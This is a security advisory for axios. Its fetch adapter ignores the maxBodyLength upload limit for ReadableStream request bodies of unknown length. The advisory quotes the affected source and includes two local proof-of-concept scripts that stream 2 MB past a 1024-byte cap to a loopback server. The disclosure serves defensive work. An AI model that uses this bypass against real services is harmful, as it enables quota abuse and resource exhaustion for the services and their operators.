Axios: Fetch adapter `ReadableStream` uploads bypass `maxBodyLength`

Summary

axios’ fetch adapter does not enforce maxBodyLength for live WHATWG ReadableStream request bodies whose size cannot be determined before dispatch. Applications that use adapter: "fetch" and rely on maxBodyLength to cap untrusted upload/proxy streams can send the full stream even when it exceeds the configured limit.

This affects fetch-adapter usage in edge runtimes where fetch is selected, and in Node.js or browser environments where the fetch adapter is explicitly selected. The HTTP adapter’s stream upload path is not affected.

Impact

An attacker who can supply or influence a streamed request body can bypass the caller’s configured upload-size limit. Practical impact is unexpected outbound network egress, request-level resource consumption, and possible exhaustion of upstream API quotas or bandwidth.

This does not expose response data, execute code, or modify axios configuration. Exploitability depends on an application passing attacker-controlled, unknown-length stream data to axios and relying on maxBodyLength as the size guard.

Affected Functionality

Affected:

• adapter: "fetch" or environments where axios selects the fetch adapter.
• Request methods with bodies, such as POST, PUT, and PATCH.
• data as a WHATWG ReadableStream without a reliable Content-Length.
• Configurations that set maxBodyLength to a finite value.

Not affected:

• Axios versions before the fetch adapter was introduced.
• The Node HTTP adapter stream enforcement path.
• Known-length fetch-adapter bodies in 1.16.0+, such as strings, Blob, ArrayBuffer, ArrayBufferView, URLSearchParams, spec-compliant FormData, or requests with a finite Content-Length.

Technical Details

In lib/adapters/fetch.js, getBodyLength() handles null bodies, Blob, spec-compliant FormData, ArrayBuffer values, URLSearchParams, and strings. It has no branch for ReadableStream, so resolveBodyLength(headers, data) returns undefined when no finite Content-Length header is present.

The maxBodyLength check only throws when the resolved outbound length is a finite number greater than the configured limit. For live streams, the check is skipped and the stream is passed to fetch().

When onUploadProgress is enabled, axios wraps the request body with trackStream(), but that wrapper only reports progress. It does not receive maxBodyLength and does not abort once loaded bytes exceed the cap.

The expected behavior exists in the HTTP adapter: lib/adapters/http.js enforces maxBodyLength for streamed uploads by counting chunks and rejecting with ERR_BAD_REQUEST.

Proof of Concept of Attack

Run from the axios repo root on Node 18+ against an affected version:

import http from 'node:http';
import axios from './index.js';

const LIMIT = 1024;
const PAYLOAD_BYTES = 2 * 1024 * 1024;

const server = http.createServer((req, res) => {
  let received = 0;
  req.on('data', (chunk) => {
    received += chunk.length;
  });
  req.on('end', () => {
    res.writeHead(200, { 'content-type': 'application/json' });
    res.end(JSON.stringify({ received, limit: LIMIT }));
  });
});

await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve));
const { port } = server.address();

function makeReadableStream(totalBytes) {
  const chunk = new Uint8Array(64 * 1024).fill(0x42);
  let remaining = totalBytes;

  return new ReadableStream({
    pull(controller) {
      if (remaining <= 0) {
        controller.close();
        return;
      }

      const next = remaining >= chunk.length ? chunk : chunk.subarray(0, remaining);
      remaining -= next.length;
      controller.enqueue(next);
    },
  });
}

try {
  const response = await axios.post(
    `http://127.0.0.1:${port}/upload`,
    makeReadableStream(PAYLOAD_BYTES),
    {
      adapter: 'fetch',
      maxBodyLength: LIMIT,
      headers: { 'content-type': 'application/octet-stream' },
    }
  );

  console.log(response.data);
} finally {
  server.close();
}

Expected vulnerable result: the server reports received: 2097152 even though maxBodyLength is 1024.

Workarounds

Use the HTTP adapter for untrusted stream uploads in Node.js where possible, or wrap/count the stream at the application layer and abort it when it exceeds the intended limit. Do not rely on fetch-adapter maxBodyLength for unknown-length ReadableStream bodies until a fixed axios version is available.

<details> <summary>Original Report</summary>

Summary

axios's fetch adapter (used in browsers, edge runtimes, and Node 18+ when explicitly selected) ignores maxBodyLength for live ReadableStream request bodies whose size cannot be inferred ahead of dispatch. The pre-dispatch check is skipped when the length is unknown, and the in-flight wrapper that runs during transmission only emits progress events — it never enforces a byte cap. Severity: medium.

Details

In lib/adapters/fetch.js, body-length resolution has no ReadableStream branch:

fetch.js Lines 121-155

  const getBodyLength = async (body) => {
    if (body == null) {
      return 0;
    }
    if (utils.isBlob(body)) {
      return body.size;
    }
    if (utils.isSpecCompliantForm(body)) {
      const _request = new Request(platform.origin, {
        method: 'POST',
        body,
      });
      return (await _request.arrayBuffer()).byteLength;
    }
    if (utils.isArrayBufferView(body) || utils.isArrayBuffer(body)) {
      return body.byteLength;
    }
    if (utils.isURLSearchParams(body)) {
      body = body + '';
    }
    if (utils.isString(body)) {
      return (await encodeText(body)).byteLength;
    }
  };
  const resolveBodyLength = async (headers, body) => {
    const length = utils.toFiniteNumber(headers.getContentLength());
    return length == null ? getBodyLength(body) : length;
  };

For a live ReadableStream, resolveBodyLength returns undefined. The pre-dispatch maxBodyLength check then short-circuits because the value is not finite:

fetch.js Lines 214-232

      // Enforce maxBodyLength against the outbound request body before dispatch.
      // Mirrors http.js behavior (ERR_BAD_REQUEST / 'Request body larger than
      // maxBodyLength limit'). Skip when the body length cannot be determined
      // (e.g. a live ReadableStream supplied by the caller).
      if (hasMaxBodyLength && method !== 'get' && method !== 'head') {
        const outboundLength = await resolveBodyLength(headers, data);
        if (
          typeof outboundLength === 'number' &&
          isFinite(outboundLength) &&
          outboundLength > maxBodyLength
        ) {
          throw new AxiosError(
            'Request body larger than maxBodyLength limit',
            AxiosError.ERR_BAD_REQUEST,
            config,
            request
          );
        }
      }

The in-flight stream wrapper that follows is purely for progress reporting; it neither sees maxBodyLength nor aborts the request when bytes exceed any cap:

fetch.js Lines 253-261

        if (_request.body) {
          const [onProgress, flush] = progressEventDecorator(
            requestContentLength,
            progressEventReducer(asyncDecorator(onUploadProgress))
          );
          data = trackStream(_request.body, DEFAULT_CHUNK_SIZE, onProgress, flush);
        }

The body therefore reaches fetch() unbounded, and the entire payload is transmitted regardless of maxBodyLength.

PoC

import http from 'node:http';
import axios from '../../index.js';

const LIMIT = 1024;
const PAYLOAD_BYTES = 2 * 1024 * 1024;

const server = http.createServer((req, res) => {
  let received = 0;
  req.on('data', (chunk) => {
    received += chunk.length;
  });
  req.on('end', () => {
    res.writeHead(200, { 'content-type': 'application/json' });
    res.end(JSON.stringify({ received, limit: LIMIT }));
  });
  req.on('error', () => {
    /* swallow client-side aborts */
  });
});

await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve));
const port = server.address().port;

function makeReadableStream(totalBytes) {
  const CHUNK = new Uint8Array(64 * 1024).fill(0x42);
  let remaining = totalBytes;
  return new ReadableStream({
    pull(controller) {
      if (remaining <= 0) {
        controller.close();
        return;
      }
      const next = remaining >= CHUNK.length ? CHUNK : CHUNK.subarray(0, remaining);
      remaining -= next.length;
      controller.enqueue(next);
    },
  });
}

try {
  let result;
  try {
    const response = await axios.post(
      `http://127.0.0.1:${port}/upload`,
      makeReadableStream(PAYLOAD_BYTES),
      {
        adapter: 'fetch',
        maxBodyLength: LIMIT,
        headers: { 'content-type': 'application/octet-stream' },
        // No content-length: the stream's total length is unknown ahead of
        // dispatch, which is exactly the vulnerable code path.
      }
    );
    result = { status: response.status, data: response.data };
  } catch (err) {
    result = { error: err && (err.code || err.message) };
  }

  console.log('--- PoC: fetch adapter ReadableStream maxBodyLength bypass ---');
  console.log('axios result:', JSON.stringify(result));

  const ok =
    result &&
    result.status === 200 &&
    result.data &&
    typeof result.data === 'object' &&
    result.data.received === PAYLOAD_BYTES &&
    result.data.limit === LIMIT;

  if (ok) {
    console.log(
      `VULNERABLE: server received ${result.data.received} bytes despite ` +
        `maxBodyLength=${LIMIT}.`
    );
    process.exitCode = 0;
  } else {
    console.log('NOT VULNERABLE: axios refused or truncated the oversized ReadableStream.');
    process.exitCode = 1;
  }
} finally {
  server.close();
}

Impact

• Uncontrolled egress when proxying user-controlled streams (e.g. file uploads, log forwarding, AI streaming endpoints).
• Bypass of cost / quota guards on upstream APIs.
• Resource exhaustion against the runtime's network stack and against upstream peers.

</details>